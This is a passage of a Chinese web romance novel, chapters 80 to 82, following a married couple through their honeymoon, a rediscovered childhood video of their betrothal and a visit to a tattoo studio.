不舍得再逗她,跟她说了第一次去她出租屋留宿,第二天早上被睡梦中的她当成雪球,亲得防不胜防的事。 “原来……可那时候,咱们还完全不熟啊。” 脱口而出之后就有些后悔。 林棘会不会不喜欢她说“不熟”这种话? 有点担忧地抬起头,主动亲了亲林棘的唇。 “嗯?怕我不高兴?”林棘将她抱得更紧,“不会的,才不舍得。” 姜司意发现,无论自己的小脾气还是小性子,林棘真的都全盘接受,半点都不会和她闹别扭。 怎么会有这么好的人啊…… 姜司意心动不已。 再一次忘记了昨晚是谁逗她一整夜,又是谁欺负她到天明。 说到那天,想起一件事。 “所以,那天你好像有体温过高的时候,我进去看你,听到你在呓语,像是,在叫我的名字……” “是吗。” “所以,真的是在叫我的名字吗?” 林棘亲亲她的软耳朵。 “当时没醒,不记得了。可除了你,还会有别人吗?” 痒痒的感觉和林棘的话,让姜司意缩着肩膀笑了。 轻柔的,怀念的,未知的难过情绪,现在全都知晓了。 姜司意。 那时,睡梦中的她,真的在唤这三个字。 【作者有话说】 林棘:宠妻第三十八步,懂的都懂6……不,7.0[垂耳兔头] 80 第80章 ◎情绪来得又快又浓重◎ 婚假开始了。 因为段凝主动替下姜司意的工作,往后整个一个月都是婚假,能一直休到秋拍前,回来之后正好有一段时间能调整状态。 姜司意在微信里问段凝。 【你替我这么多天能顶得住吗?】 段凝相当自信地回复她:【不就这几天,还怕累死?你都带着我把明年的佣金都赚够了,年纪轻轻加会儿班没事。你就好好度蜜月去吧。但凡再想一秒工作的事,都是对蜜月的不尊重。】 两个人又说说笑笑了几句。 半靠在吴经理办公桌边的段凝挂了姜司意的语音,听到身后人感叹了一句。 “怎么你就替小姜,不替替我?” “行啊,这经理的位置给我坐,我立马替你。” 吴一露往椅背上一靠,眨了眨酸得要命的眼睛说: “来,段经理,以后这就是你的宝座了。记得每个月带着妹妹冲冲业绩,完成部门的KPI,还要和各个部门经理明争暗斗虚与委蛇,哄得住上级压得住下级……” “行了师父别念咒了。” 吴一露笑道:“其实我挺看好你的,段凝。你的好闺蜜先去书画部打个头阵,小姜的能力最低都是经理级别的,回头等她升上去了再把你拉过去,你就飞黄腾达了啊。” 段凝:“哈?让我去那种睁眼就欠公司一百万成交额的部门?压力得多大啊。婉拒了,我还想多活几年。” 吴一露哈哈笑。 段凝:“而且我们都走了,您老人家怎么办?发际线不得再往后移?” 被段凝这么说,吴一露看看玻璃倒影的自己。 不知道是不是常年将额前的头发全部梳到脑后,盘起得体的发髻,她的发际线看上去的确很有危机感。 再看看段凝,不上主拍台就散着头发,二十多岁的年轻女人蜜桃一般鲜嫩靓丽。 吴一露下意识地摸了摸额头。 “还不是为你们这些兔崽子操心操的。” 段凝:“我看这样。我坐你的位置,你干掉顾总,然后你、我和司意组成嘉仕比黄金三角,乘风破浪,皆大欢喜。” 吴一露:“嚯,你比我还敢想。” 段凝:“那可不么,做大事的人,得从敢想大事开始。干掉顾总只是第一步,下一步就该干掉燕总了。”。 姜司意工作以来,还没休息过这么长的时间。 林棘和她一样,幻维周年庆都只办过一次的人,这些年一直都在埋头往前冲,没什么娱乐的兴致。 今年注定不同。 安排好了工作,交代好了所有事,每天保持着一小时的线上联系。其他时间她只想和姜司意待在一起,享受来之不易的蜜月。 蜜月之前,得去见识一下亲朋好友们送的新婚贺礼。 的确是“见识”。 严逾送的四层游艇已经很夸张了,岑麓更是直接送了个度假庄园。 庄园在J城郊区的度假黄金区域,有一栋能将整个西山枫叶收入眼底的观山景别墅。距离别墅不到五百米的地方就是天然温泉,以后冬天来这里暖暖泡温泉,不要太方便。 严逾站在别墅四楼往下俯瞰整个山庄,都懵了。 “岑麓,你说我不讲武德,自己直接上核武器?这对吗?” 岑麓:“等你结婚,我也这么送。” 严逾:“……你就忽悠单身群众。哎,什么时候能再遇到那个跟我换鞋的姐姐?我一定——” 岑麓:“抓紧机会表白?” 严逾:“向她求婚!” 岑麓:“……你的人生是不是太草率了一点?” 姜司意和林棘在楼下的院子里规划着,把巨大的院子改造成羽毛球场和网球场。 岑麓边下楼边说:“后面还有一大片私有土地,现在荒废着。想弄成派对花园、酒窖、三杆洞球场,还是直接弄个小型动物园,都很合适。” 林棘:“我已经想好,我们家温室草莓可以扩产了。” 岑麓嘴都歪了,“哈?草莓?” 这么大一片地,你就种小草莓? 感觉她这发小,跟姜司意在一起之后整个人脱去了晦暗阴沉的气质,柔软了不少,连后院都种上粉粉嫩嫩的草莓。 什么草莓,得好吃成什么样啊? “行吧,随你,记得每年投喂我点。”岑麓又说,“你们家就一辆车吧,我再给你俩添一辆,蜜月之前记得去挑了。” 姜司意看到这庄园已经心有余悸,现在还要再送车,本来想说“不要破费了”,林棘倒是先一步不跟岑麓客气。 林棘:“今天就挑了。” 岑麓:“现在走呗。” 林棘问姜司意:“想要什么车?” 姜司意一时发懵。 她真不需要车。 家后门一条路直通社区后门,后门边上就是一大排共享单车和共享电动车,就算是步行到嘉仕比也才十五分钟,去车库开车反而更麻烦。 而且现在打车也很方便,地铁四通八达,自己开车还要停车,累。 节俭惯了的姜司意满脑子都是“没必要啊”。 结果三双眼睛都看着她。 姜司意:…… 算是明白姐姐的感受。 被她们仨围着注视的感觉,真的很像草食动物被肉食动物团团围住,压迫感也太强了。 只不过有点不同。 这三只肉食动物,都在等着她这只草食动物发号施令。 姜司意憋到最后,憋出一个,“新款电动自行车,可以吗?” 林棘:? 严逾:?? 岑麓:??? 姜司意解释说:“我,真的没有用车的需求。而且,小佑都会接送我上下班。” 严逾劝道:“真的电动自行车就行吗,嫂嫂宝宝,错过这次机会,下次要再让麓姐出点血可能要等到你百年那天了。” 严逾被林棘揪着后领丢到一边,又笑嘻嘻地立刻弹射回来,丢不了一点。 岑麓问林棘:“真假?别给我省钱,我在缅北没少赚。” 林棘:“我们家司意说的算,就最新款的电动自行车。” 岑麓服了。 一个庄园种草莓,一个上班骑自行车。 难怪你们是两口子,能过到一块儿去。 “好吧,那就听袋女士的。” 林棘:“袋女士?” 岑麓:“你老婆是‘袋装吐司’,你不是袋女士谁是?你就装吧。” 林棘:。 行吧,又改姓了。 第一次改随母姓,第二次改随老婆姓,怎么不算越来越出息呢…… 姜司聆紧赶慢赶终于在婚礼那天赶完的画,挂到了姜司意和林棘家中二楼最醒目的位置。 那幅从她们身上得到灵感的画,被命名为《幸福》。 这是两道抽象的轮廓,是女人的优美曲线,也是某种流荡的弧光。 不同的色彩在交界处融合,我中有你你中有我。 仔细看,会发现它们其实首尾相接,从未分开,是始终连在一起的命运之环。 明天就要去海岛蜜月了,悠闲的午后,姜司意和林棘并肩坐在巨型画作前柔软的地毯上,一起摸着雪球柔软的头毛。 越看这幅画越是喜欢。 姜司聆是懂她们的。 每次看到它,都会感受到冥冥之中命运的奇妙牵扯。 此刻坐在二楼,姜司意难免好奇。 “为什么二楼和三楼都是空的?是没计划好要怎么布置么?” 林棘肩膀挨着姜司意,头靠在她的肩上。 “嗯,我一个人并不需要这么大的生活空间。一楼就够住了,二楼不知道放什么才好。” 姜司意摸摸林棘的脸庞。 “那怎么买这么大的房子?是因为不喜欢幽闭的环境么?” “也不全是。雪泊女士是这社区开发商大股东,很早我就选好了这栋1号院。那时候我还没回国,看到它距离你上班的嘉仕比很近,就动心了。我一个人填不满这房子,但总幻想着或许有一天……” 林棘侧转过脸,鼻尖点了点姜司意的。 “你会来和我一起布置它。” 就像先前“,”昵称一样。 林棘不想和姜司意结束,此生,她还渴望着有后续。 “所以,自作主张虚位以待着。” 无论姜司意选不选择她,会不会爱上她,今生走哪条路,林棘永远会为她留一条退路。 这就是林棘曾经跟严逾说过的——姜司意一直都在她的人生规划之内。 还以为那晚“早有所图”的坦白局,林棘已经把所有的处心积虑都交待完了。 没想到,她的心思比姜司意想得要深得多。 姜司意在和她的对视中,眸色转浓。 林棘竟在她完全不知晓的时光里,为她准备好了所有的浪漫。 林棘怕她多想,万一又哭起来就糟了。 现在和小时候不一样,现在可太难哄了。 吻吻她的耳朵,又在她颈窝里蹭着,转移点注意力。 痒得姜司意笑着缩脖子,却没躲开。 就让她亲着,蹭着。 “所以,楼上都是为你预留的,想布置成什么样,都听你的。” 姜司意一时也没有想法。 感觉一楼已经能完全满足日常生活了,更别说有前后院子,电影院、健身房和图书馆,简直是个小型社区。如果不用上班,作为社恐人士,让她待在这栋房子里一年半载她都不会觉得无聊。 “那……” 林棘点点姜司意撑在地毯上的指尖。 “改成画室好不好?” “画室?” “你姐说,你当初为了她放弃了学画。” “……那个,都是很早以前的事了。我对后来学的专业也挺满意。要不是学了中国艺术史,恐怕也没法进嘉仕比。” 姜司意没想到林棘还记得这件事。 夹住林棘戳来戳去的手指。 “而且,现在我也没有再拾起画画的精力了。” “不用拾,就随便画画,画着玩。别给自己任何压力,当消遣就行。当然,如果画着画着想认真对待也行。” “这么说起来你会文身,画画是不是也很好?你学过吗?” “没,就是随便画的。” 林棘指了指自己*的心口。 “当初这儿的文身我想自己动手,就去学了文身的技术,随便画画。黄清徵和严逾都说我挺有天分。” “居然是你自己文的,太厉害了吧。” 姜司意夸完才想起,她俩上同一所中学时,林棘就是全校有名的学霸,这位蝉联年级第一的风云学姐,连她这个初中部的都如雷贯耳。 现在再捋一捋,林棘年少时缺少了七年的重要时光,即便在村子里偷偷学,也肯定不是系统的教育。 她居然还能在回来后用这么短的时间跟上进度,甚至完成跳级。 此时此刻,林棘的聪明完完全全的具象化。 姜司意看她的眼神里都多了一份清晰的仰慕。 别人夸林棘,林棘几乎过耳就忘。 姜司意的仰慕则让她情不自禁地扬起嘴角。 好像是有点厉害。 画画这件事,无论当爱好还是认真对待,都行。 林棘只希望她的司意不要有任何遗憾。 二楼就先改造成画室。 今天可以是画室,明天喜欢玩游戏了就改成游戏室,后天喜欢音乐就再改。 想做什么都可以,只要姜司意喜欢。 阳光照进这栋即将妆点新装的房子,一点点蔓延到两位正躺在地毯上接吻的女人身上。 指腹抚过,热吻交缠。 只想让彼此的气息更多地渗透进自己的身体里,生命里。 …… 蜜月的地点是海岛。 就是当年姜司意和林棘订婚的那座海岛。 对于当年事的细节就只有林雪泊的转述,很有限,当事人都记不太清了。 想说这次去海岛上待几日,说不定能想起什么。 海岛是她们的开始,很有意义的地方,自然是蜜月的最佳选择。 雪球也跟着她们一起上了私人飞机。 这是雪球第一次坐飞机,全程好奇又忐忑,一直跟在姜司意脚边。 姜司意干脆将它抱起来,起飞前,亲自为雪球扣好安全带。 飞机飞入平流层后,解开安全带打开遮阳板,被姜司意抱在怀里的雪球透过舷窗一直往外看,看大朵大朵的云看到目不转睛。 姜司意点它的脑袋。 “小雪球看大雪球。” 雪球一路看看看吃吃吃玩玩玩,到了海岛,跟着妈妈们一起在落日余晖中踏上沙滩。 姜司意光脚踩在沙滩上,太阳晒过还有余温,质感非常细腻,的确是踩在面粉上的感觉。 薄荷绿般清透的海水、远处若隐若现的小岛、橙色的夕阳,还有身边拉着她手的林棘,忽然让姜司意记忆那片波光粼粼的水面上,忽然浮现出了一颗可以确定的光斑。 “好熟悉,我好像真的来过这。” 姜司意忽然停下脚步,在出神中远眺。 海风吹起林棘的黑发,“你当然来过,和我一起来的。这片沙滩我们也一起走过。” 林棘的话让姜司意脑海中勾勒出了画面。 好可惜,只是想象的画面,没能想起更多的细节。 没能真正看到她和林棘的小时候是怎么一起走在这道曲折的海岸线。 她是怎么要林棘抱,林棘又是怎么哄她。 见姜司意有些失落,林棘搂住她的腰,将妻子更紧地揽到自己怀里。 “那时候你才三岁,六岁的我都记不到多少,你要是想起来才奇怪。” 林棘亲亲她的脑袋。 “我们可以从这一刻起,一起制造往后能铭记于心的记忆。” 姜司意点点头,望向正徐徐沉于海平面之下的红日。 她都知道的。 只是有点遗憾罢了。 在沙滩边散步,漫无目的,想到什么聊什么,一起笑到弯了腰,喝着同款当地的特色水果饮料。 等到天色彻底黑了,再牵着手,和雪球一起回了酒店。 就一个浴室。 姜司意让林棘先去洗。 看姜司意正在给雪球梳毛的背影,林棘靠在浴室门边唤她。 “老婆。” 姜司意下意识地回头,“嗯?” 姜司意已经习惯“老婆”这个称呼,林棘很满意。 “老婆,你来。” 很正经的口吻。 姜司意立刻快步过来。 “怎么啦?” 刚到门口,又就被林棘拉进了浴室,只留一声轻呼。 “一起洗。” 姜司意还想说什么,发现林棘一丝不着地抱着她,手也攥着她的下摆,似要帮她除去。 浴室的灯光落在曲线柔美的颈窝里,铺下一汪明亮的光。 成熟的女人身躯实在太美,体温这么烫。 看了一眼,就被迷得开不了口。 林棘吻着姜司意的唇,心里想,妹妹也太好骗了。 又是一句话就骗了过来,来的时候脸上分明写着认真。 可爱。 姜司意想说话的嘴被吻了几下,半个字都说不出。 耳朵也被亲红了。 只能任林棘褪去长裙,晕乎乎的根本抗拒不了。 两人结婚同居一段时间了,姜司意对她的触碰依旧很有感觉。 情绪来得又快又浓重。 被吻得要喘不上气,又软又烫的小舌被吮弄得发麻,还在试着回应她。 心都要被姜司意的可爱弄化了。 想永远捧在手心里宠着,不让她受一点点伤。 又恨不能亲手握碎她,将她弄得凌乱不堪。 带着相同的沐浴乳香味回到卧室。 林棘将浑身发软的妻子抱放在床上。 姜司意脸上的潮红还没退去,散着的长发带着刚刚吹干留下的点点水汽。 春。情似乎不太适合出现在姜司意那双纯然的眼眸里。 一旦出现,就是极具反差感的勾人。 沉默中,双臂眷恋地勾着林棘,似乎还想让浴室里的事继续。 纯欲的美感,撩人心扉。 忍不住又来吻。 蜜月时期,可以尽情在对方身体上留下痕迹。 对彼此都是强烈的生理性喜欢,情浓如火爱意似蜜,这两具身躯一旦缠在一起就难舍难分了…… 第二日睡到不知几点,睡到饱,睡到自然醒。 姜司意眼睛还没睁开,就被林棘亲了亲唇。 林棘:“你手机震了好几下,要不要看看?” 姜司意以为是吴经理有什么工作的事要找她,拿来手机看,是姜司聆的微信。 【宝宝!你知道我找到什么了吗!】 【我昨天带着格伦达去拜访我的启蒙老师,她给了一个小箱子,是当初妈妈过世之后,我在她那儿暂住时留下的一些旧物。有一部妈妈的旧手机我当时用来着,我本来想看看有没有妈妈的照片,就拿去修了。结果你猜有什么——】 姜司聆发来两个视频。 【是当初你和小佑在海岛的视频哎,妈妈居然拍了!】 姜司意一下坐了起来。 姜司聆的语音林棘也听到了,一起坐起身,从姜司意身后抱着她,整个人赖在她身后,和她一起看手机。 视频很快下载完毕,播放。 不太清晰的古早画质,依旧让姜司意心跳加速。 没想到,她居然有机会看到曾经的自己和林棘相处的画面。 一个圆咕隆咚的脑袋出现在画面里,回头,是大眼睛圆圆脸,皮肤如凝脂,精灵一般漂亮的姜司意,三岁的姜司意。 林棘呼吸都停了一下,抱着二十五姜司意的双臂一下子收紧。 也太可爱了。 动起来的小司意,比看过的照片中、模糊记忆里的还要可爱多了。 妈妈的声音在画外,问小司意。 【喜不喜欢小棘姐姐呀?】 小司意立刻回答:【喜欢!】 【那以后长大了和她结婚要不要?】 小司意立刻点着大脑袋,点完了才问: 【结婚?】 都不知道什么是结婚,只要是林棘,她就答应。 陶绪都笑到不行了。 【结婚,就是过一辈子,当彼此的老婆。】 【老婆!】 小司意大大的眼睛立刻发光,词汇量还很有限的她非常确定地说: 【要,要姐姐老婆!】 【作者有话说】 林棘:原来我也是被老婆从小宠到大的[害羞][害羞] 80-86 第81章 ◎吻上胸口的文身◎ 【要,要姐姐老婆!】 三岁的小司意说的十分确定、响亮。 弄得二十五岁的姜司意眼睛睁圆,脸庞发热。 什么姐姐老婆啊…… 小时候的她居然这么敢叫。 之前嫌林棘的妹妹团人多势众,气势汹汹,没想到自己居然是妹妹团的资深成员。 姜司意实在太羞耻,想要快进跳过。 被林棘握住了乱动的手指。 林棘:“不可以快进,让姐姐老婆好好看完,每个细节我都要看。” 姜司意:…… 这个让姜司意羞得不行的称呼,还被林棘重点在耳边重复,弄得她耳朵一下就红了。 视频里的陶绪也笑了,牵起小司意的手往前走。 中间有一段海景拍摄,两人一起去洗漱,边洗漱边看,洗漱后回到床上,继续回到刚才从背后抱着姜司意的姿势。 画面不远处是沙滩,小林棘和林雪泊就在沙滩上。 本来小林棘在堆沙堡,沙堡堆了有她半人高,跟艺术品似的。 小林棘正思索第二层怎么盖,忽然看到小司意,眼睛一亮,抛下沙堡就往她的方向跑过来。 陶绪笑道:【哎哟,这才定亲第二天,就黏黏糊糊啦。】 戴着大大遮阳帽的林雪泊走过来,长裙飘飘。 【在家里特独立,已经能自己睡了,我想陪陪她她还不乐意。家里同辈她都不怎么搭理,没想到这么喜欢小司意。长大了不会是老婆奴吧?】 这回换姜司意笑了。 林棘:…… 雪泊女士还真是…… 真是个预言家。 姜司聆有外婆带,正在酒店画画,陶绪就跟小女儿和未来的亲家一起在海边走走。 是特意来拍小司意和小林棘的。 镜头一直对准了牵着手走在前方两个小姑娘,陶绪的声音从画外传来。 【等以后她俩长大了,再翻出这视频给她们看,多有纪念意义。】 二十多年后的林棘和姜司意同时点头。 是的,甚至是她们当初定亲时唯一的纪念了。 妈妈真的太高瞻远瞩了。 小司意不知道踩到了什么,吓得躲了一下。 小林棘看了眼,说是海藻。 小司意非要说是屎,哭着说:【我踩到屎啦!】 两位家长都快笑抽过去了。 小林棘本来想用手去捡起海藻来跟妹妹解释这真的不是屎。 但想了想,没这么做,生怕自己去用手捡了之后妹妹觉得她脏,不搭理她了。 小林棘:【那我们去海水里冲一冲脚,冲干净就不脏了,好不好?】 小司意长长的睫毛被泪水粘成一簇一簇的,噘着嘴点点头。 陶绪:【这孩子在家可难哄了,怎么姐姐老婆一哄就好。】 林雪泊用八卦的语气附和道:【我们家的也是,从来不哄人。】 陶绪乐呵呵的:【只哄自己的老婆。】 在两位家长的保护下,小林棘拉着小司意去冲脚了。 没往深里去,就站在海水刚好能碰到的边界。 海水拍过来,淹没了小司意的脚踝,让她小小的身子一晃一晃的。 她有些害怕,一直看小林棘。 就六岁大的小林棘特有照顾妹妹老婆的责任心,站到她身后,说:【那我现在站在你身后,是不是没那么害怕了?】 小司意靠在她身上,开心地点着圆脑袋,还挺起小小的肚皮,嚣张得很,站在海浪中无所畏惧。 一起泡海水、堆沙子。 玩累了走不动,就要小林棘抱。 还拉着小林棘的衣角撒娇。 小林棘其实早就投降了,就是想多看小司意撒娇,硬是坚持了一分钟才答应。 抱得不轻松,但是很稳。 小司意完全信任她,在她怀里睡着了。 小林棘亲亲她的脸蛋,额头上沁出一层汗,却在满足地笑。 陶绪和林雪泊都说:【天生一对。】 视频是断断续续拍的,应该有好几个小段,姜司聆已经贴心地帮她们剪辑在一起了。 很快就播到末尾。 回到酒店,陶绪要带着小女儿回房间。 结果小司意就挂在小林棘身上,依旧一副不要亲妈的样子。 陶绪都笑了:【一刻都离不开你姐姐老婆是吧?】 林雪泊温柔地说:【小司意,明天还可以再见到姐姐的。】 小司意不舍地看着抱着她的姐姐,缓缓地眨眨眼,随后说了句所有人都没想到的话。 【要亲亲。】 短短三个字,让视频外的姜司意原本平复了一点的热意又一次涌上脸颊。 身后抱着她的林棘什么话都没说,可姜司意就是能感受到她带着笑意瞧着自己的眼神。 视频中的小林棘有点害羞地笑了笑,说:【好哦。】 正要转脸颊过去给她亲,结果小司意一口亲在她嘴上。 站在一旁的两位妈妈都“哇”了声。 【这就初吻啦?】 小林棘猝不及防,被亲红了脸。 怔怔地看着小司意。 亲完后,小司意还自己配音【mua】一声。 然后下地,很认真地道谢:【谢谢姐姐老婆抱我。】 小林棘:【……不,不客气。】 视频就拍到这里。 手机屏幕变黑的同时,姜司意整个人蜷缩起来。 怎么会这样…… 她小时候怎么会这么主动啊? 粘在她身后的林棘将她抱得更紧,也不说话。 通过手机黑屏的倒影,能看到下巴搁在她肩头的林棘在无声地笑。 等着她自己对夺走初吻这件事总结陈词。 姜司意:“当时……肯定是非常纯洁的亲亲。” 林棘:“嗯嗯,三岁的小孩哪有其他心思。” 姜司意:“就是单纯为了感谢你抱我……” 林棘:“嗯嗯,三岁的小孩哪有其他心思。” 姜司意:。 转回身看着林棘。 “你不会是在幸灾乐祸吧?” 刚说完,脑海中就浮现的两个字,和林棘说出口的话重叠了。 “会哦。” 姜司意:…… 双掌夹住林棘的脸。 林棘就让她夹,说话漏着风。 “也不涮幸灾乐嚯,应该束受宠若惊。” 姜司意怎么会听不出她话里的揶揄。 “真的是很纯洁的。” 林棘:“那现在来点不纯洁的。” 姜司意的心尖被她的话戳了一下。 痒痒的。 眼前就让她随意夹脸蛋的林棘,和小时候抱着她的女孩重叠了。 果然…… 在海岛定亲的时候,在心里埋下“喜欢”这颗小种子的人,不止是林棘。 将林棘的脸庞慢慢拉近,启她的唇齿。 林棘抚着姜司意的后脑,指尖享受地伸入她的发丝,轻轻揉弄着。 就完全让姜司意来主导,林棘享受着被姜司意青涩的举动勾弄的感觉。 从唇齿到脖子,小猫般的吻一点点落下。 吻上胸口的文身,柔嫩的双唇能感受到文身下的伤痕。 疼惜地吻着。 “我也想要这个文身,和你一样的。” 姜司意下巴搁在林棘的小腹上,轻声跟她说。 林棘轻轻揉捻着她红热柔软的耳朵。 “嗯?这个简笔画?” 姜司意点点头,很认真道: “想要你的同款。” “一开始我是想要你的同款,现在变成你想要我的同款。所以到底是谁的同款。” “什么啊。”姜司意被逗得笑起来。 “等蜜月回去,到严逾工作室,我给你文。” “好!” 轻轻拎了一下姜司意的耳朵。 “那现在继续来吻我。” 被林棘拎了这一下,很轻很轻,酥麻的感觉却从耳朵往下蔓延。 撑起上身,从略略起伏的腹部薄肌,一路往上,吻至文身。 在文身之上反复落下热吻。 曾经的伤口被充满爱意的吻痕覆盖。 这份微妙的幸福感让林棘眼神失焦。 整个早晨她们没做其他任何事。 一直都在“不纯洁”地和彼此恩爱。 到中午,一早上大体力的劳作,姜司意肚子饿得咕咕作响。 林棘一键点餐。 吃饱饭抱在一起睡了一会儿,傍晚时分,她们又去海滩边,想要找到视频里一起冲海水的地方。 根据截图中远处海岛位置,锁定了地点。 并肩坐在同一个位置,聊过去,聊未来,想到什么说什么。 爱人在侧,海浪依旧,昏昏欲睡嘴角都带着笑。 姜司意靠着林棘的肩头,看夕阳再次沉入海平面之下。 忙碌惯的姜司意都有点不太习惯慢节奏的生活,怕林棘觉得无聊。 林棘摸着她的脸庞道:“怎么会慢呢?现在是我人生最幸福的时光,我还觉得太快了。和你在一起的每分每秒都很妙,永远都不会无聊。” 被无条件爱着的感觉,让姜司意心里漫过甜意,指尖在林棘膝盖上开心地点着。 当她的太太,果然很幸福。 …… 在海岛待了大半个月,打算自驾回的J城。 回去直接,收拾行李的时候,姜司意在酒店的垃圾桶里看到两瓶陌生的药罐。 全英文的,姜司意只看了一眼,若有所思,没有继续探究。 自家回程边走边玩,顺道给亲朋好友带些沿途的特产和礼物。 回到J城那天,带着伴手礼去了严逾的文身工作室。 前台小沈看到失踪人口,震惊道:“林老师,你来啦!” 又看看林棘身边这漂亮的小姐姐,立刻就想起来了,是林老师当初点名要亲自文身的那位。 怎么一块儿来了? 再看一眼手上的戒指。 这……结婚了? 小沈立刻脑补了一大出天降奇缘的浪漫大戏。 林棘对小沈淡笑,问她严逾来了没有。 “来了,准备给客人文身,在1号操作室。” 本来想去严逾办公室等她出来,却见大门口进来一个面容不善的女人。 那女人三十岁出头,戴着金丝眼镜,精致的法式中长发搭在肩头,原本的五官斯文又理性,智性恋的天菜,只是眼下因为不明原因,眉眼里藏着隐隐的愠色。 前台小沈有点怕,但还是上去招呼客人。 天菜生气归生气,保持着基本的礼貌,问她是否接待了一位未成年女孩。 前台小沈想了想,说:“的确有位姓郁的年轻客户来文身,但她说她成年了。” 天菜:“在哪?” 小沈抖了抖,下意识往1号操作室看了眼后,对天菜说:“我,我去帮您问一下。” 天菜一阵风般直接往1号操作室的方向去,小沈追在她身后试图拦下她,可惜天菜腿实在太长,根本追不上。 打开操作室的门,里面的两个人均是一哆嗦。 严逾站在一个粉头发女孩身前,口罩被那个女孩勾着,将她整个人带下来,似要和她接吻。 这是她的客人,今天预约来文身的。 对方想文在锁骨处,要严逾帮她确定位置。 严逾没多想,秉持着专业精神帮她确定。谁知口罩被对方拉开,看到她的脸,比工作室官网上看到的还漂亮,粉头发女孩咬了下唇,说: “姐姐能在我的唇上文个吻么?” 都没等严逾意识到这是在调情,就被对方勾了下来,完全猝不及防。 本来这粉头发女孩突然这么做,严逾已经吓了一跳,结果门又在这么尴尬的时分被推开,头皮发麻的感觉才起了一层,眼眸转向门口,整个愣住。 是她朝思暮想了多日,昨晚还梦到的姐姐。 在森林公园和她换了鞋,却连好友都没加一个就走了的超级天菜。 被那双金丝眼镜后寒浸浸的眼睛直视,严逾一下子站直,口罩的挂耳绳直接绷断。 粉头发女孩也在诧异中回头,看到对方,沮丧道: “郁倾时,你是律师又不是警察,至于跟我跟得这么紧么?” 严逾心头一阵阵发烫。 郁倾时,连名字她都这么喜欢。 她的取向以后就叫“郁倾时”了。 郁倾时走到严逾面前,挡在她和自己妹妹中间,毫无感情的双唇张合着: “《未成年人文身治理工作办法》第四条规定,任何企业、组织和个人不得向未成年人提供文身服务。你是想被巨额罚款还是想被吊销营业执照?” 严逾一开始都没听到郁倾时说什么,就看她这张脸,比在森林公园惊鸿一瞥时还要美。 郁倾时在警告她,她在满眼桃花。 郁倾时正等着这文身师反驳,她有更多犀利的训斥。 等了半天只等到对方着迷地凝视她。 郁倾时:? 站在门口的林棘看自家发小这模样,就知道喜欢对方喜欢得要死,魂都被勾散了,实在看不下去,出声提醒道: “是不是用了**?” 严逾回了神,问身前坐着的女孩:“你还是未成年?刚才的证件怎么写21岁了?” 粉毛女孩无所谓地说:“就假的呗。” 严逾:…… 现在的小孩染粉毛就算了,还用**文身。 幸好我姐姐……不,她姐姐及时赶到,不然这间本来就命运多舛的文身店真要倒闭了。 不过,这不是没倒么。 严逾最大的优点就是心大,心里那一小团阴云立刻烟消云散,绕过粉毛妹妹,走到郁倾时面前。 严逾:“如果我真给她文身了,你会逮捕我吗?” 郁倾时轻轻皱眉。 这是在说正经的逮捕吗? 是句调情话,律师当然不会逮捕谁。 严逾发现对方还是没认出自己。 “你真的不记得我了?” 之前跟岑麓开玩笑说,再遇到对方直接求婚。 结果人家根本把她忘了。 郁倾时面无表情地转开脸,嫌弃地送严逾两个字: “轻浮。” 严逾:…… 这是把她当搭讪的了。 虽然她的确在搭讪。 郁倾时没再看严逾,拎着她妹走了。 的的确确完全没认出严逾来。 或者是认出了,依旧和上次在森林公园一样,没有想和她继续认识的兴趣。 严逾瘫软在沙发上。 惦记了这么久的人突然出现,结果只给她留了个“轻浮”的印象…… 这么多年来只有这位郁小姐,有过交集还能把她忘得干干净净。 严逾拿出手机,调到前置摄像头。 我有这么普通么我? 严逾正端详着自己的五官,手机进来一条微信。 是那粉毛妹妹发来的。 【喜欢我姐啊?没戏。她恐怕一辈子都不会知道什么是高潮。】 严逾:? 刚看完,粉毛妹妹就撤回了。 再发了一个拉眼皮吐舌头的表情包。 严逾生气地回复她:【对你姐尊重点,她那么关心你,小没良心!】 这都什么破孩子啊。 说完就把对方拉黑了。 想了想,拉黑了粉毛以后怎么联系到郁倾时? 不行,虽然被骂轻浮,可郁轻时太对她的胃口了。 立刻解除黑名单。 结果,她发现自己被粉毛妹妹删了。 严逾:…… “出息。” 林棘一边做帮姜司意文身的准备工作,一边说: “惦记大半天的就是她?” 严逾六神无主地点头。 姜司意看严逾状态不太好,默默给她倒了杯水过来。 “喝点水吧。” 严逾耷拉着眼皮道谢接过。 “还是嫂嫂宝宝最好。” 喝了两口,严逾问林棘:“佑姐,你那么多套路,说结婚就真结婚了,能不能传授我一点?” 听到“套路”这两个字,姜司意不吭声,就默默看着林棘。 林棘在心里把严逾掐成五颜六色,表面上还风平浪静。 “我哪有套路。” 林棘避开姜司意探究的目光,灿烂笑道。 “那叫认认真真花心思追,心诚则灵。” 严逾:“嗯,袋女士说的对。” 袋女士,你就装吧。 姜司意:? 袋女士?装吐司的袋女士吗? 被这个极其精准的调侃弄得哭笑不得,又耳朵发热,偷偷看一眼林棘。 林棘:…… 【作者有话说】 林棘:宠妻第三十九步,真正意义上的从小开始宠[害羞][害羞] 82 第82章 ◎双臂一张,圈住林棘的腰◎ 从文身工作室出来,姜司意的心口多了个和林棘一模一样的文身。 傻傻的小兔子简笔画。 既然是为了纪念心有灵犀的一瞬间,当然不能让林棘心口上的那只形单影只。 从此,这世间独一无二的图案,成双成对。 …… 蜜月之后,秋拍近在眼前。 姜司意要迅速回到工作状态。 蜜月这段时间很轻松,也不去主动想工作的事,不过她还是会让自己稍微保持在状态里,隔三差五的晨间进行发声训练一直持续着。偶尔也会看看自己的拍卖会视频,跟着报价的速度轻声念着,以维持节奏感。碎片化的时间里,浏览业内新闻就当消遣。 金石玉器部秋拍全流程第一次彩排,姜司意状态非常好。 吴一露都说小姜怎么度蜜月回来,整个人还更老练了。 姜司意已经登上过春拍的大型舞台,之后大大小小的拍卖会都主持过,成长得很快,一般的拍卖会已经不太会紧张了。 不过,秋拍在她心里的分量依旧很重。 作为每年最隆重,体量最大的大拍,经手的拍品和成交额目标都不是平日里能比拟的。 今年她身处事业的上升期,又将调部门,无数双眼睛明面上暗地里都在注视着。 还有一层更大的压力。 吴一露从顾总那儿争取到了姜司意的专场拍卖会。 这是J城嘉仕比五年来,举行的第二场拍卖师个人拍卖会。 听说今年环球CEO燕总也会来J城秋拍视察,姜司意不容许自己出半点错。 秋拍之前的整个嘉仕比都非常忙碌。 唯有一个闲人,显得与众不同。 书画部的姚副经理忙得焦头烂额,她的上峰Oliver却每天待在办公室里喝茶。偶尔路过他办公室门口,都能听见里面传来一阵阵打电话闲聊的笑声。 不知道的还以为他已经拿了秋拍业绩第一了。 Oliver的确胜券在握。 姜司意不识好歹,要秋拍之后才能到他书画部,也没事,只要有黄清徵那两幅画,书画部就稳了。 